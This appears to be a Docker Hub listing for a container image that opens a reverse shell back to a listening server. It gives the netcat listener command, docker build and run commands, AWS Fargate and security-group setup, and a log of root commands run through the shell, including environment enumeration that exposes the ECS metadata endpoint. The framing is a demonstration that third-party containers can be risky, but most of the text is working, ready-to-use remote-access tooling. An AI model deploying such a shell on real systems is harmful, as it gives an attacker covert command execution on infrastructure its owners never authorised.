Run a container which connects to a server with a reverse shell.
1M+
Run a container which connects back to a server with a reverse shell.
Follow these steps to connect back to a shell from within a container.
The reverse shell in the container will connect back to your server. Open up a port with the following snippet:
nc -lvvp 6666
docker build -t ayeks/reverse_shell:latest .
Run the reverse shell container with: docker run --rm -it -e IP=192.168.178.26 -e PORT=6666 ayeks/reverse_shell
We all run 3rd party components in our kubernetes clusters but couldn't care less about it. This example shows how to setup the reverse shell as a Fargate Container and how it connects back to an EC2 server.
Create a reference security group for the container which we will allow as ingress at our server.
sg_reverse_shell_referenceAll traffic All All 0.0.0.0/0Create a security group for your server that allows you to connect to it via SSH from home and with the reverse shell from the container.
sg_serverAll TCP TCP 0 - 65535 sg-RANDOMNUMBER(sg_reverse_shell_reference)SSH TCP 22 YOUR_PUBLIC_IP/32All traffic All All 0.0.0.0/0Just choose a EC2 machine that you like. Attach the securitygroup
sg_server to this machine. Start the server and connect to it via SSH.
Create a new task definition for the reverse shell container. Only add the necessary information.
reverse_shell0.5GB0.25 vCPUreverse_shellayeks/reverse_shellSoft limit 400IP - your servers internal IP adressPort - 6666Before you run the task make sure that you listen for the container at your server:
nc -lvvp 6666
Now go to your cluster and hit run task:
Fargatereverse_shellyour favourite VPCyour favourite subnetsg_reverse_shell_referenceEnabled <- without that you cannot pull the image from Docker hubAs a result the container should connect back to your server. You are now able to execute commands directly in the container, eg. uname -a:
[ec2-user@ip-172-31-39-189 ~]$ nc -lvvp 6666
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 172.31.2.37.
Ncat: Connection from 172.31.2.37:56656.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-172-31-2-37:/# uname -a
uname -a
Linux ip-172-31-2-37.eu-west-1.compute.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64 GNU/Linux
Just printing the environment variables.
root@ip-172-31-2-37:/# env
env
AWS_EXECUTION_ENV=AWS_ECS_FARGATE
HOSTNAME=ip-172-31-2-37.eu-west-1.compute.internal
AWS_DEFAULT_REGION=eu-west-1
AWS_REGION=eu-west-1
PWD=/
PORT=6666
HOME=/root
IP=172.31.39.189
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/b9fa9196-e49a-4140-ae3b-bd7322cfbd44
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
Or after installation with apt-get, you can run lshw:
root@ip-172-31-2-37:/# lshw
lshw
ip-172-31-2-37.eu-west-1.compute.internal
description: Computer
width: 64 bits
capabilities: smp vsyscall32
*-core
description: Motherboard
physical id: 0
*-memory
description: System memory
physical id: 0
size: 4GiB
*-cpu
product: Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz
vendor: Intel Corp.
physical id: 1
bus info: cpu@0
width: 64 bits
...
If your container task does not reach the state RUNNING but goes
into STOPPED have a look the reason. If the container is not able to
connect to your server it just dies and returns Exit Code 1.
Check the security groups and other networking topics if that happens.
Content type
Image
Digest
Size
48 MB
Last updated
over 6 years ago
docker pull ayeks/reverse_shell